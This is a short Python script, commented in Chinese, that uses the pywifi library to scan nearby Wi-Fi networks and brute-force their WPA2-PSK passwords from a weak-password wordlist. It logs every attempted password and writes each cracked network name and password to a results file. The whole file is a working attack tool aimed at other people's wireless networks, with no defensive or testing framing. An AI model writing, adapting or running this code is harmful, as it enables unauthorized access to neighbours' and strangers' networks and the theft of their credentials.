#-*- coding:utf8 -*-

import time
import pywifi
from pywifi import const

#单个密码测试延迟, 超过说明连接太慢,放弃使用
testtimes = 15
#结果文件保存路径
save_files = "avail_nearby_wifis.txt"

passwords = [x.strip("\n") for x in open("weak_passwords.txt","r").readlines()]
already_knows = [x.strip("\n").split("--")[0] for x in open(save_files,"r").readlines()]
already_tried = [x.strip("\n") for x in open("already_tried_passwords.txt","r").readlines()]
def main():
    wifi = pywifi.PyWiFi()
    #选择定一个网卡并赋值于iface
    iface = wifi.interfaces()[0]
    #通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
    scanres = scans(iface)
    nums = len(scanres)
    print("附近wifi个数:"+str(nums))
    for i,x in enumerate(scanres):
        res = test_wifi(nums-i,iface,x,passwords,testtimes)
        if res:
            print("=====================================================================")
            print("找到密码:"+res)
            with open(save_files, "a") as f:
                f.write(res+"\n")
            print("=====================================================================")

def scans(face):
    #开始扫描
    face.scan()
    time.sleep(3)
    #在3秒后获取扫描结果
    return face.scan_results()

def test_wifi(i,face,x,key,ts):
    #显示对应网络名称，考虑到部分中文名啧显示bssid
    wifi_name = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid
    if wifi_name in already_knows:
        print(str(wifi_name)+"--密码已知")
        return False
    print("尝试连接wifi:"+str(wifi_name))
    #迭代字典并进行爆破
    total_key = len(key)
    for n,password in enumerate(key):
        if wifi_name+"--"+password in already_tried:
            print("密码试过了...")
            continue
        with open("already_tried_passwords.txt","a") as f:
            f.write(wifi_name+"--"+password+"\n")
        already_tried.append(wifi_name+"--"+password)

        print("尝试密码:"+str(password)+" -- "+str(n)+"/"+str(total_key))
        profile = pywifi.Profile()
        profile.ssid = wifi_name
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        #移除所有热点配置
        face.remove_all_network_profiles()
        tmp_profile = face.add_network_profile(profile)
        face.connect(tmp_profile)
        #初始化状态码，考虑到用0会发生些逻辑错误
        code = 10
        t1 = time.time()
        #循环刷新状态，如果置为0则密码错误，如超时则进行下一个
        while code!=0 :
            time.sleep(0.1)
            code = face.status()
            now = time.time()-t1
            if now>ts:
                break
            if code == 4:
                face.disconnect()
                return str(wifi_name)+"--"+str(password)
    return False

if __name__ == '__main__':
    main()